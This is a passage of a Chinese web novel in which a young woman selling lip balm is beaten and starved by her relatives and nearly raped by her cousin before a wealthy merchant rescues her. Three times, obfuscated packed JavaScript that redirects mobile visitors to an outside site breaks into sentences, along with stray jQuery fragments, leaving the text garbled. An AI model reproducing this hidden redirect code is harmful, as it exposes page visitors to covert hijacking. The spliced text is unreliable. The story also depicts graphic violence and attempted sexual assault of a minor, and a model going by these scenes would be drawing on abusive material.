说着他睨了林霏清一眼,倒是很有闲心地开了个玩笑:“想住进来?”
林霏清挠挠脸:“我也算是金玉楼员工了吧?”
南流景坐到其中一张软椅上,瞥了她一眼,玩味道:“可不止。”
正说着有人敲了敲门,林霏清回头,杜管事站在门前,看到她有些意外地笑了笑。
“林姑娘。”她打了个招呼,随后看向南流景,“南老板,您找我?”
南流景轻轻敲了敲桌子:“林姑娘与金玉楼的契书上,每盒口脂是五两的价,对吧?”
杜管事不知为何要提起此事,面上却挂着周到得体的笑:“是的。”
南流景:“改一下,今日起每盒十两,之前的也都补上。”
此话一出,不仅杜管事,连林霏清都吃了一惊,怎么也没想到,南流景说的谢礼,竟是这样给她的。
若真按南流景的意思,光今日,她能拿到的,就超过一百两,远大于她提出的价格。
林霏清拿钱本就理不直气不壮,此刻听到这话,第一反应便是回拒:“南老板,实在不用……”
话未说完,便被杜管事打断,她微笑道:“我明白了,那我现在重新起草一份契书给您过目,如何?”
南流景“嗯”了一声,又加了几款条目,林霏清听不太懂,却隐约
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744399|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明白皆是利好于她。
两人你一言我一语,完全没给林霏清插话的空档,一直到杜管事离开,她才终于有了开口的机会。
“南老板,您实在不必这样。”林霏清有些为难道。
南流景自始至终都是一个说一不二的态度,听见这话偏了偏脑袋:“不必哪样?想方设法把钱送你手里?”
林霏清沉默,显然是默认。
南流景见状短促地笑了一声,落在现在的气氛下凭空生出些诡异:“你猜你的一盒口脂在金玉楼定价几何?”
程阿婆那里她的口脂一盒二百八十文,金玉楼这里必然会贵一些,林霏清先前猜测三十两,在口脂上,这已经算是天价了。
但只有这样,金玉楼才有得赚。
但看南流景的样子,显然没她想得那么简单。
南流景一手支着下巴,微微泛灰的眼眸盯着她,慵懒又戏谑,衬上那张毫无血色的面庞,简直像纸人活了过来。他轻飘飘道:“今早卖出去最低的一盒,价格在五百三十五两。”
随着南流景漫不经心的五百三十五两落下,屋内彻底安静了下来。
林霏清傻在原地,仿佛有人拿着碾花的杵子给她脑仁来了一下,完全丧失了思考的能力,只剩下五百三十五两不断重复。
五百三十五两!那可是五百三十五两啊!
这还是一盒的价,照这样算,两个月她就能帮南流景挣得金玉楼一年的租金!
“……”
恍惚间,后脑被拍了拍,林霏清双眼重新聚焦,南流景不知何时来到她面前,低着身,鼻尖几乎要碰到她的,微微抬眼,纤长的睫毛遮住一半瞳仁,仿佛蒙了雾,看不清情绪。
“呼吸。”他说,手在林霏清脑后又拍了拍。
林霏清听着他的指示,下意识猛吸了一口。随着清冽的空气涌入,干瘪的脑子重新活泛起来。
她眨眨眼,反应过来:“五百三十五两,您就给我五两?”
话说出口,才意识到这语气听起来像是控诉。
但仔细想想南流景这行为也的确不厚道,林霏清抿抿唇,到底没收回。
南流景直起身,听见这话也没一点心虚:“我是个商人。”
供认不讳。
第一次见这样厚脸皮的人,林霏清无论如何不能轻易咽下这口气,低声愤愤:“是奸商吧。”
南流景闻言挑挑眉,不仅没生气,甚至附和地点了点头。
门又被敲响,杜管事动作很快,这一会已经拿着新起好的契书前来,经南流景过目后没什么问题便递到了林霏清手上。
林霏清看着上头的十两,心情有些复杂。
要是她不知道自己的口脂能卖出这个价格,自然会兴高采烈地签下,可如今既然已经知道了,再看这十两总有股亏大了的感觉。
可林霏清也明白,同样的口脂,却在程阿婆和金玉楼天壤之别的价格,不是她做口脂的本事有多高超,而是南老板用了什么法子,使得有人愿意为她的口脂花这个钱。
所以,挣钱的是南老板,而非她。
想清楚,林霏清便也不再纠结,痛快地签下自己的名字。
见此,坐在一旁的南流景,眼中划过一丝显而易见的讶然。
签好名字的下一瞬,杜管事将点好的银子推到林霏清面前:“林姑娘,这里共是一百八十两,您看有没有问题?”
一百八十两,齐齐摆在一起颇有分量,林霏清想了想,要是一次全拿回去,舅母必然会生疑,还不如少拿一些,待日后她离开后,请金玉楼将余下的交到舅母手上。
对于她的请求,杜管事虽不解,但看南流景没有反对,自然也不会多说什么,笑吟吟地请她放心。
最终一百八十两,林霏清只带走了七十两。
看着林霏清离开,满腹疑惑的杜管事这才出声询问。
对此南流景只说了一句:“我打算给她很多钱。”
杜管事越发不解,对旁人来说几百两银的确不少,却远远达不到南老板很多钱的标准。
南流景没有再解释,微微偏过头,窗户的另一边,玳瑁猫轻巧地越过高墙,脑中却想起那日,林霏清乖顺地将银钱全部交给一个妇人。
他皱起眉,面色罕见地有些阴沉:“只怕就这点,还不一定拿得住。”
12. 第 12 章
将五十两交到舅母手中,余下的二十两林霏清偷偷放在了她的屋子。
家中人都知道她的屋子里没什么值钱的东西,相比别的地方,这里反而更安全。
林霏清抽空寻赵先生说了她已经攒够钱的消息,赵书源倒没多问,只告诉她,出发的日子在六月初。
她不会在荷花村待多久了。
一件心头大事了却,从赵书源家中出来时林霏清脚步轻快,余下的日子,只要照往常一样小心一点,不出什么乱子就好了。
……就好了吗?
她依然住在舅舅家,随着时间的推移,舅舅看她的眼神也越来越不加掩饰。
有一次林霏清做饭时他凑过来批评油太多太浪费,罢了又道:“你这样可是嫁不出去的。”
玩笑的语气,却让林霏清惊出一身冷汗。
她的思绪不可控制地发散开来。
“你这样可是嫁不出去的。”
“好在舅舅家不嫌弃你。”
这只是一个小插曲。
自那夜听到舅舅舅母说话后,林霏清便时常在晚间听墙根,偶尔也能听到舅舅问舅母有没有同她说起此事,每每这时,林霏清第二日看到舅母都会心惊肉跳一阵,但舅母始终没有在她面前提起过。
何雁的确是不想问林霏清这个。
究其原因,或许是林霏清的想法一向不重要,左右这丫头还不到十六,而新朝律法写明女子十六才可成婚,在此之前,何雁倒不是很急。
但不代表她不看重自己儿子赵栋的想法。
自出了事后,赵栋便终日将自己关在房中,起先何雁还生他的气想着饿几天,只是还没等赵栋有什么反应,她自己便先舍不得了,好说歹说哄着赵栋一日两顿按时吃饭。
这日,何雁轻轻敲开赵栋的门。
屋内一片昏暗,窗前厚重的帘子紧紧拉着,模糊能看到床上一团蜷缩起的人影。
何雁心软得一塌糊涂,走近,便看到早上拿进来的饭碗已经空了。
赵栋并未睡着,听见脚步声从被子中露出头来。
“今日不出门吗?”何雁温声道。
赵栋:“待会出去。”
何雁坐在他床边,抚了抚赵栋的头顶,道:“娘有件事想问问你。”
话音将落,赵栋便若被踩了尾巴一般迅速翻身坐起,大吼道:“我说了!我没赌,之前一直是那姓刘的哄我呢!”
“娘当然相信你,娘不是问你这个。”勉强安抚了赵栋的情绪,何雁有些迟疑道,“你爹和我这几日看上了个姑娘,想问问你的意思。”
赵栋皱眉:“谁?”
“你表妹,林霏清。”
赵栋愣了愣,随即挣扎得越发厉害:“我不要她!”
眼见儿子动怒,何雁忙劝道:“娘知道你一向不喜她,只是你爹说得对,她一月能赚得几十两银,这样好的本事,总不能白白送给旁人吧?”
几十两银,庄户人只怕几年都赚不得这么多呢。
此话一出,原本怒火中烧的赵栋也不由犹豫了一分。
见状何雁乘胜追击,继续细说林霏清的好处:“再说了,你要是不喜欢,拿着钱再去聘个奴妾外室也可以啊,林霏清那个性子,还能跟你闹?”
她同赵栋描述美好的婚后生活:“到时候钱在你手上,你若是愿意,便同她生个孩子,不愿意,自去找自己的乐子,左右她是你的妻子,照顾你的孩子是应当的。”
不得不说,何雁所说的场景完完全全戳中了赵栋的心,挣扎了一会,赵栋最终点了头:“什么时候成亲?”
何雁笑着抚摸他的发丝:“不急,她还没十六呢,再等等。”
说罢,她又想起另一件事:“对了,你最近有没有见娘的几件首饰……”
话未说完,赵栋又钻回被子里,这次他干脆背对着何雁,见状,何雁只好悻悻闭上嘴。
时间一晃便过去了大半个月,步入五月,樱花已全数凋落泥土,池面上的荷花反倒绽出新芽,要不了多久,荷花村就会到一年中最美丽的时节。
或许是林霏清身份的转变,近来赵栋多分了些许注意力在她身上。
每日他起床时林霏清已经从田上送饭回来,多半在灶房洗碗,桌上留着给他的午饭,有时他吃完时林霏清还没出门,就会过来把他的剩碗拿去洗净,有时吃完饭家里已经没有其他人,赵栋就把碗搁在桌上,等他晚间回家时,桌上已经摆好了新的饭菜。
林霏清很忙,她在家的时间不比赵栋多多少,一连几日赵栋都跟她说不上一句话,她也从来不会过问赵栋的事,甚至赵栋隐隐觉得,林霏清很怕他,在刻意回避与他相处。
若有这样一个人在家中照顾他的饮食起居,好像也没什么不好,毕竟夫妻俩不熟的婚姻,他也算是从小看到大。
加上看得多了,便也渐渐发现,林霏清长得,其实挺顺眼的……
但赵栋没想到,竟是他先主动与林霏清扯上关系。
林霏清的行迹很好掌握,下午的时间她多半会去山上挖兔草,去弄她的那堆口脂,或是到农田里帮着做农活。
这日赵栋吃完午饭,林霏清已经出门,而母亲也挎着个不知装了什么的竹篮去赵书源家中串门去了。
反复确定无人,赵栋放下碗筷,推开了林霏清的房门。
对于进出林霏清屋子,赵栋并不觉得有什么不多,说到底这是他家,他想去哪难不成还要一个外人同意?
之所以要趁着家中无人,只是因为他要拿的东西,不太那么见得的人罢了。
小时候有段时间赵栋很喜欢跑到林霏清屋子里,并非为了玩耍,她那屋子阴冷潮湿,没什么好玩的,只是每次进去后,看林霏清敢怒不敢言的样子很有趣。
而到后面,发现林霏清对于他的随意进出不再生气后,赵栋也逐渐失去了随意闯入林霏清屋子的兴趣,他已经不记得上次进来是什么时候了。
这里依旧如他记忆中一般,哪怕晴日里开着窗也像阴天,不算特别整洁,但因为没什么东西,乱不到哪里去。
只是相比小时候,现在的屋子里,多了一股说不清道不明的味道。
柔软、微甜,像是什么花,又像是粉红的胭脂。
赵栋皱了皱鼻子,没有过多纠结,越过门槛,直奔林霏清的衣柜而去。
数日前。
“赵公子,您别灰心,只是运道不好而已。”那日来他家中要钱的领头安抚地拍了拍赵栋,“最后那把太可惜了,只差一点点。”
赵栋猛灌了杯酒,想起最后一把只差一点便能赚个大的,有些不甘心道:“可是我已经没钱了。您能不能再借我一点?”
领头看着他,露出一个为难,又有些古怪的笑。
赵栋反应很快:“有什么要切您尽管提,只要我能帮到您。”
领头神秘地笑了笑,附身在他耳边道:“您那个妹妹……”
对于那些要砍手砍脚的要求来说,只是一件贴身之物,实在算不得什么。
若是旁人赵栋或许还会有些犹豫,但这是林霏清,他未来的媳妇,只要他不介意,一件衣服而已,给别的男人又怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747925|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样?
那可是二百两。林霏清浑身上下的衣服有没有二两都不一定呢。
赵栋很快便在衣柜内里的一个抽屉中找到了林霏清的贴身衣物,随便抽了几件出来便关上抽屉打算离开。
只是不知是他力气太大还是柜子实在老旧,抽屉不仅没有照常合上,反倒连着一片脱落了下来。
“糟了。”
赵栋暗道,他不介意是一回事,现在可还不能让旁人知道此事。
他手忙脚乱地收拾起抽屉掉落时摔乱的衣物,却在一堆柔软的衣料中发现一团明显异样的东西。
拿走上面遮挡的衣物后,这团东西到底是什么也显露出来。
看清那是什么东西后,赵栋倒吸一口凉气,随即心底涌上一股极度的怒火。
“娘——!”
-
林霏清赶在做完饭之前回到了家中,家里兔子又生了一窝崽,好在渐渐入夏,兔草比冬日要茂盛许多,若运气好,一窝兔崽或许能活过八成,今日割了一筐,两三日是够吃了。
往兔笼里补了些草料,林霏清洗净了手,打算到灶房去帮舅母做饭,只是才一迈入堂屋,一股狠厉的掌风迎面袭来,林霏清还没意识到发生了什么,便已经被带得摔倒在地。
比起疼痛更多的是茫然,林霏清茫然抬头,茫然地看向站前面前的舅母,在问出茫然的问句前,何雁便抬脚踢了过来。
腰腹被狠狠踢了一下,胃壁抽动,好像有什么一下子冲到了喉头,林霏清迅速放弃了询问的打算,几乎是本能,她迅速侧躺在地上蜷缩起身体,抱住脑袋,尽可能地使自己不要发出一点声响。
何雁气疯了,腰腹,肩膀,上躯,殴打的动作完全不成章法,只是着急地动手,好像晚一点点她就会被极端的愤怒气死。
何雁做了多年农活,力气不小,只是近来养病,无法持续长时间激烈的动作。
可以忍受,林霏清想。
不知过了多久,何雁停下手,只是怒火仍未平息,指着林霏清骂道:“贱货!贱货!我说我的首饰怎么最近少了这么多,竟都是你这白眼狼偷走了!”
“养你这么多年,少你吃还是少你穿?你就这样报答我的?啊?!你说话啊!”
何雁骂着,时不时动手再打几下,林霏清半边身子已经彻底失去了知觉,脑袋上像是裹了好几层棉花,根本听不清舅母的话。
终于,像是有人劝住了舅母,又像是有人拽着她的胳膊把她拉到什么地方。当林霏清有意识时,眼前已是一片漆黑。
她在她的屋子里,躺在床上,门窗都紧紧关着。
林霏清试着起身,但失败了,何雁用了比鞭打黄牛更重的力气。
她半边身子除了疼痛再没有别的感觉,另外半边也好不了多少,试探着碰了碰最开始被打的那半张脸,已经肿了起来,稍微碰触便是钻心的疼,而刚刚抬起手时,她才注意到小指正以一个奇怪的姿势扭曲着。
最糟糕的是林霏清甚至不知道自己为什么会挨这一顿打。
随着她逐渐长大,何雁对她动手的次数也在减少。
而显然舅母这次动了真气。
为什么?她做了什么事?
如果不知道缘故,日后再犯了怎么办?
就着微弱的光线,整间屋子内,唯有一处凌乱得显眼。
看着被翻了个底掉的衣柜,林霏清恍然,总算是知道缘由。
只希望别牵扯到赵先生……
她的精力只够她想到这么多,下一瞬,眼前一黑,林霏清彻底昏死在床上。
13. 第 13 章
赵栋放下碗,抹了把嘴,看向始终紧闭的房门,有些害怕:“都两日了,没一点动静,别是死了吧?”
何雁刨了口饭,提起林霏清仍有些愤愤:“死就死了,要不是你拦我,非打死她不可。”她咬牙切齿道,“养了这么多年,竟养出个扒手!”
赵栋闻言有些心虚,低下头拨弄了两下碗中剩下的米粒,没吱声。
“行了,”赵福木着一张脸,哪怕是林霏清挨打的当日,他也是这幅样子,“真打死了你儿子娶谁?”
何雁听出这话中的意思,不可置信道:“怎么着?你还打算让栋儿娶这个白眼狼?”
赵福皱了皱眉,这才意识到何雁是真以为林霏清偷了东西,一时有些无言,他不动声色地看了一眼赵栋,恨铁不成钢道:“你都把她打成那样了,还想怎么样啊?”
“我……”
赵福打断她:“不过是心思有点野罢了,女人家,成了婚,有个夫婿,也就乖了。”
何雁冷哼一声:“等到她十六,早不知道跑哪去了。”
赵福却嘿嘿笑了一声,抿了口筷子,目光转到赵栋身上,慢悠悠道:“做夫妻嘛,哪有那么多讲究。”
何雁愣了愣:“你是说……”
赵福“咔嚓咔嚓”地咬着脆骨,一边道:“那丫头劲挺大的,再饿一天吧。”
“……”何雁沉默了一会,“我知道了。”
-
林霏清反复昏睡,又反复醒来,短短三日,却仿佛一辈子般漫长,很多次昏过去前,她都以为自己要死了,可总是会在不知道什么时候,再度睁开眼。
身上的伤已经开始痊愈,鲜血也逐渐凝固,但不代表她强健了起来。
她很饿,当所有的鲜血从胃里呕出后,取而代之的一股极端的,火燎般的饥饿感,伴随着饥饿,每一处伤口越发疼痛。
但很快,当她某次醒来后,那股要命的饥饿感消失不见,她整个人相应的变得无比虚弱。
从指尖开始,每一寸骨骼肌肤,都好像失去了随意取用的权利,林霏清没办法,让身体如她所期望的一般行动。
她真的好饿。
林霏清想,若是此刻有人在她面前放一点吃的,她愿意为那点吃的做任何事。
就是在这一片混沌与虚无中,耳畔传来了喘息声。
有什么东西沿着她的四肢爬了上来。
是蛇吗?
林霏清缓缓睁开眼,眼前依旧是熟悉的黑暗,但黑暗之中,覆上来了一道人形的黑影。
冰凉的触感一点点落在她身上,没有人教过林霏清相关的事情,但她此刻却本能般地意识到,有人在伤害她。
林霏清不可避免地生出一股恐慌,她下意识放缓呼吸,用她前半生最常用的手段来规避这场伤害。
不要反抗、不要动,忍一忍,很快的。
她努力不去思考自己正在经历什么,却不合时宜地想起了从前被蛇咬的一回。
每次受伤都是赵香照顾她的。
赵香有一个大斗柜,里面装满了她从各个地方寻到的药材。
她一边为林霏清找药,一边笑话她:“救我的时候动作那么快,怎么一个人的时候连条翠青蛇都没办法?”
林霏清记得她当时不好意思地笑了笑:“我被吓住了嘛。”
赵香翻出个青绿色的小瓶,打开里头是清洌洌的液体,敷到腿上冰冰凉:“我估计那条蛇比你还害怕,我长这么大还没听说谁被翠青蛇咬过呢。”
林霏清被说的有些窘,想抽回腿却被赵香牢牢抓着。
“不过清清,你这样不行。”赵香低着头,轻轻抚过林霏清腿上的两个齿洞,声音认真了些许,“山里危险,很多时候保护自己的机会只有一瞬间,我知道你害怕,但你绝对不能慌。”
上身一凉,那人开始摆弄她的衣服。
林霏清闭着眼,忍受着那人在她身上上下其手,却突然有点难过。
这种难过的感觉很熟悉。
她主动坐到餐桌角落时,她第一次在舅舅家哭被扇了三个巴掌时,她在后山割兔草迷路无人来寻时,在这些时候,她都会像现在这样难过。
这些时刻无一不在提醒她,她需要安静、忍让、温顺,需要有用,这样才能留下来。
因为她是家中所有人心里的最后一名,不论是幸福还是偏爱,她这样的人是不配拥有的。
她不配。
只除了阿香,阿香是她最好的朋友。
她问阿香那该怎么办?
阿香说:“跑啊,动啊,要是有棍棒,就拿棍棒打它呀。”
动啊。动啊!你动一动啊!
那一瞬间,周遭一切骤然变得无比清晰。
仿佛她终于从水下浮上水面。
她知道现在在她身上的人是赵栋。
她的衣物连带着凝结的血肉一起被扯掉,她听见对方嫌弃地“啧”了一声,她的肋骨上的伤被压住,疼到她想大喊出声。
她终于动了起来,抬起胳膊,试图将赵栋推开,但她此刻的力气只能把胳膊扬起一个细小的高度。
比无力更无力,除了痛苦什么都感受不到。
“保护自己的机会很可贵,清清,抓住它,一定抓住它。”
别慌、别慌。
反抗无果,林霏清开始扭动,挣扎。
赵栋显然对此没什么经验,面对她的挣扎几乎称得上手足无措,但很快,他没了耐心,狠狠抓住她的脖子,用力收紧。
林霏清猛然睁开眼,赵栋的面孔在她上方,狰狞又狠毒。她不得不停止挣扎,张大嘴,像条濒死的鱼般拼命汲取空气。
见状,赵栋微微松了口气,一手扼住她喉咙,一手继续褪下她的衣物。
眼前渐渐变成一片虚无的黑,林霏清像被按到水中,失去了所有知觉,只凭着本能木然地进行微不足道的反抗。
还要继续吗?还有必要吗?
那时的她沉默了一会,又问:“那要是错过机会怎么办?”
赵香抬起头,看着她笑了:“你才不会错过。”
“啊?”
“你保护得了我,当然也能保护得了自己。”
意识彻底断绝之际,林霏清终于摸到,床边一抹温润的冰凉。
-
始终没有听到屋里的动静,何雁莫名有些焦躁,在院中来回踱步:“里面到底怎么样了?”
赵福倒是冷静,坐在小凳上,敲了敲烟斗,塞到嘴里狠狠吸了一口:“才刚进去,急什么。”
“我不是怕出事儿吗”
“一个大男人,能出什么事,你别晃了,晃得我眼晕。”
听见这话,何雁才停下脚步,只是没一会,又走了起来,赵福见状叹了口气,刚想开口,院门外却突然传来细碎的声音,在安静的院中有些扎耳。
何雁拧了拧眉,心底那股烦躁越发厉害,她调转脚步,想看看出了什么事,只是才迈开一步,“嘭”的一声,院门便被从外狠狠撞开,一个从未见过的冷脸男子站在门前。
何雁惊了一跳,有些不安道:“你是何人?”
话音将落,林霏清的屋内,骤然响起一声凄厉的尖叫。
——是赵栋。
何雁脸一白,一时顾不上闯门之事,急着去屋里看看情景,才跑了两步,后衣领却猛然被人抓住,何雁一口气差点没上来,回过神时,已经被方才撞门的男子牢牢按在地上。
而屋内,她的儿子,赵栋正撕心裂肺地哭号着。
何雁拼命挣扎:“松开!松开!你要干什么!”
没人回答她。
何雁余光看到,另有一人坐着轮椅自门外而来,昳丽矜贵的面容,冷若冰霜的神情,有些违和的是他明明坐在轮椅上,胸膛却急促起伏着。
但不妨碍何雁在看到他的第一眼就噤了声。
一种莫名的本能,他很生气,不要被他注意到。
在门被撞开的第一瞬,一旁坐着的赵福便站起身,却没有顾及被按在地上的何雁,而是忙熄灭烟斗,小心翼翼地躲在角落。
南流景没有分给二人丁点眼神,他平复着呼吸,一边靠近,一边紧盯着那扇紧闭着门。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757523|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铁质的门环轻轻晃动了一下。
两下。
又一下。
万籁俱静,只有赵栋的哭嚎在院中反复回荡。
门开了。
一道细瘦的身影扶着门框踉跄走出。
来人垂着头看不清容貌,浑身伤痕累累,沾染着红褐色的污垢,狼狈得不像话,虽说扶着门框,但看起来好像下一瞬便会倒下。
南流景的轮椅停在林霏清面前,目光落在林霏清右手紧紧攥着的那支木簪上。
那是金玉楼售卖的样式,干干净净,没有血迹。
她没有下狠手。
林霏清看着他,主动开口:“南老板。”
嗓音嘶哑,气息低弱。
南流景依言抬头,对上她视线的瞬间却愣住了。
她看起来及其糟糕,整张脸布满了青青紫紫的伤疤,但南流景并非为此失神,而是与这些比起来,林霏清的精神却该死的好。
她甚至在笑。
当然她的脸已经无法做出这样的表情,但南流景的确能从林霏清的眼中看到星星点点的笑意。
南流景有些不好的猜测,只是还未完全成型,又突然想起方才林霏清叫他的那句“南老板”。
他松了口气,脑子没坏就好。
心中怒气莫名平息了下去,于是他也微微勾了勾唇:“坐不坐?”
林霏清向前迈了两步,定定望着他,像是在思考他说了什么,待明白过来后,认认真真道:“不用麻烦您,我没事。”
南流景:“……”
虽然脑子没坏,但好像也不太聪明。
他干脆站起身,把轮椅往前推去,靠近屋门的时候,余光看到一个男子蜷缩着躺在床上,哭嚎就是从他嘴里出来的。
南流景淡漠地收回视线,直接把轮椅推到林霏清身后,而后,调转角度,对准林霏清的背影,往前轻轻一推,林霏清便被绊倒坐在了轮椅中。
林霏清被这情况弄得呆了呆,靠在椅背上,头向后仰,对上他垂下的视线。
“南老板。”
“嗯。”
“这个扶手上绣了金线。”
“嗯。”
“有点糙。”
“……”南流景沉默了一息,“忍一忍。”
林霏清的声音有些委屈:“可是手搭在上面很疼。”
南流景看了一眼她的手,小指骨折,不疼才怪:“那你别搭在上面。”
“好吧。”她的声音像还有些不满,却乖巧地没有再说话,脑袋回正,安安静静地坐在椅上。
南流景推着她往院外走。
途经何雁赵福时,何雁突然扭动挣扎起来,赵福在一旁想拦,却已经晚了。
“林霏清!你把我儿怎么了!你说话!”
南流景皱眉,略略分过去一眼,银元会意,迅速将何雁嘴捂住。
声音断绝,南流景这才垂眸看向林霏清,却发现她已经歪着脑袋,沉沉睡了过去,右手还紧紧握着那支簪子。
屋内赵栋的哭声已经渐渐弱了下去,南流景斟酌片息,侧目简短吩咐了一句:“给你一刻钟,处理干净,留活口。”
说罢头也不回,推着轮椅继续向外而去。
往荷花村的土路太过窄小,南流景的马车根本进不来,这一段路,得推过去。
此时天色已黑,但尚未到就寝的时辰,赵福家的动静不小,邻里乡亲偷偷推开门窗往这边探。
南流景注意到了,却并不放在心上,只是突然有些好笑。
若林霏清醒着,看到他带着她行事如此张扬,怕是会生气。
明明他与林霏清也不熟,却莫名笃定,她就是会生气。
只不过她生气也多半是安安静静的,甚至稍微等一会,自己就能把自己哄得消气。
这样想着,脚下步履不停,眼见前方便是荷花村口,身后却突然有人拽住了他的胳膊。
南流景回头,就见一陌生男子在他身后,眉头紧皱,看着他的眼神带着防备与厌恶。
“你是何人?要带林姑娘去哪里?”
14. 第 14 章
来人看起来二十岁左右,无名指指节有茧,此时天色已晚,村里人就算没睡也褪去了外衣鞋袜,他却头发齐整衣衫熨帖,哪怕立刻去参加书会也不违和。
读书人、规矩、刻板。
拦住他,是正义感使然,还是有更私密的缘故?
只一眼,南流景便对来人有了基本的推断,也瞬间想出了几个能取信于对方的说辞。
但他不想用。
他收回目光,懒洋洋道:“这么热心,关你什么事?”
赵书源一噎:“我……”
他本是一时情急来不及思考便冲了上来,被这样反问一句才意识到自己太过贸然。
南流景可以不在乎周遭村民,但他得在众目睽睽之下给出一个合理的解释。
对方的沉默有些久,对于双方的对峙来说,已经足够让南流景占据全面的优势。
但南流景没有轻易放过他的打算,他面上的讥诮几乎凝成实质,慢悠悠道:“周围人都看着呢,秀才老爷,松手吧。”
如此刻薄、直白,也算是对付读书人的另一种办法。
他料想这样的语言足够让这位书生臊红面皮,但出乎意料的,这位读书人并没有因为他的这句嘲讽而松开手,诚然,他涨红了脸,气势也有所败落,但片息后,他仍是咬牙问了一句:“你要带林姑娘去哪?”
南流景微微眯了眯眼,直到现在,他才终于把面前此人放在眼里。
他盯着来人的连瞧了一会,直到记下他的样貌,才再度开口,只是语调没有半分变化,依旧带着高高在上的傲慢:“带她去看郎中,而你很误事。”
赵书源微愣,也终于在模糊了一片的夜色中,看清了自始至终不发一言,遍体鳞伤的林姑娘。
他不由瞪大了眼:“林姑娘她……”
恰此时,处理完赵福家中事情的银元赶了过来,南流景直接将轮椅交到银元手中,自己则一巴掌拍掉了那位读书人抓着他的手,没再与他多费一句话。
直到确保身后人听不见他的声音后,南流景才缓缓道:“简单调查一下那人。”
银元最好的一点就是他从不会多问,做事利落又隐秘,此时听见这句吩咐也一日既往,低声应了句是。
回到府上,最当紧的便是为林霏清寻医诊治,好在南府府医足够多,药材储备也充沛,即便如此,算上太医共有近十位府医,也忙忙乱乱几乎花了一整夜的时间。
林霏清情况未定,南流景自然也跟着一夜未眠,天刚蒙蒙亮,得知已无什么大碍,只等人醒来,南流景略略放下心,正欲去休息一会,却又宫中太监前来传召,皇后要见他。
南流景打了个哈欠,点点头表示知道,转头看向前来禀报情况的太医:“时刻派人盯着,待她痊愈,你与所有府医多发半年俸禄。”
太医忙垂首应是:“微臣明白。”
南流景这才动身入宫,今日没有朝会,南珠却依旧早起坐在了太极殿,近来兰安正在北方地区扩展版图,战事比预想中还要顺利,兰安与南珠一致决定乘胜追击,唯一有些困难的,是刚刚建国,还不算十分丰裕的国库。
南珠这几日忙得一日只能睡两三个时辰,却还是抽出空来,打算关心一下她这个唯一的弟弟。
她平淡地让南流景起身,注意力始终落在眼前的奏折上,跳过了没意义的寒暄:“这几日本宫听见了个说法,”她顿了顿,像是及其厌恶接下来的话,眉头微不可查地皱起,“说本宫的弟弟,不举?”
……
殿内并非只有他们二人,相反,作为皇后,南珠身边的随扈几乎称得上浩荡,但此刻,没有一个人敢发出分毫声音,空旷的大殿内,安静得有些诡异。
南流景就是在这样的情况下,轻轻笑出声的。
南珠飞快地抬眼瞥了他一眼,随后又看回奏折,只是眉头皱得越发紧:“看来这件事当真是你的手笔?”
对于这个弟弟,南珠还算是了解的,虽说有些嚣张,但也没有狂妄到会随便在街上说这种话,更何况她从未听哪个太医说南流景在这方面有什么隐疾。
故而在得知这个消息时,南珠第一反应便是背后另有他人,怎么也没想到始作俑者就是南流景本人。
事情已经过去许久,南流景稍稍回忆了一番,才想起当时的情况,他轻飘飘道:“胡小姐对我有些过分上心,而我……”
“——有些烦她。”南珠接过话头。
被直白地指出这一点,南流景满不在乎地笑笑:“至少自那之后,她再没找过我。”
他如此冷静,南珠反而有些动气,她“啪”地一声合上奏折:“但你也不该用这样的说辞,难不成你真打算一辈子不成亲?”
南珠的质问回荡在空旷的殿内,南流景坐在下首,却没有直接回应。
他微微低睫,眉头轻皱,像是在思考什么,过了一会,直到南珠拿起另一份奏折,他才回神般道:“其实,臣弟方才才想到一件事。”
他用了“臣弟”这个说法,南珠执笔的手微微顿了顿。
南流景转而看向她,神色已从方才的悠远转为某种难以言明的兴味,他挑了挑眉,道:“臣弟,想请您赐一桩婚事。”
-
有点舒服。
这是林霏清有意识后的第一个念头。
当然,该痛的地方还是痛的,但身下柔软、干燥,身上也没有血污包裹的窒息感,反而轻松舒畅。
她在哪?
记忆中的最后一个场景是她握住了什么,使出全身力气往赵栋身上捅去,而后,而后她便什么都不记得了。
缓缓睁开眼,眼前是一个明亮华丽而繁复的床幔,林霏清莫名想到南流景,这床幔的气质与他十分相合,而下一瞬,林霏清才反应过来,这里是哪?她怎么会出现在这里?
她试着支起身子,全身上下可见的每一处都包裹了绷带,随着她起身的动作,激起了一片动静。
先是一位姑娘注意到她的动作,很是高兴地朝外道“她醒了”,而后又温和却不容拒绝地将她按回原位:“您还需要休息。”
紧接着,一堆像是大夫的人来到她身边,对着她又是把脉又是查验,小心到如同对待瓷娃娃一般。
等到这些人相继退场之后,仍有些懵然的林霏清才终于见到了一张熟面孔,南流景南老板。
她迅速明白了自己在什么地方。
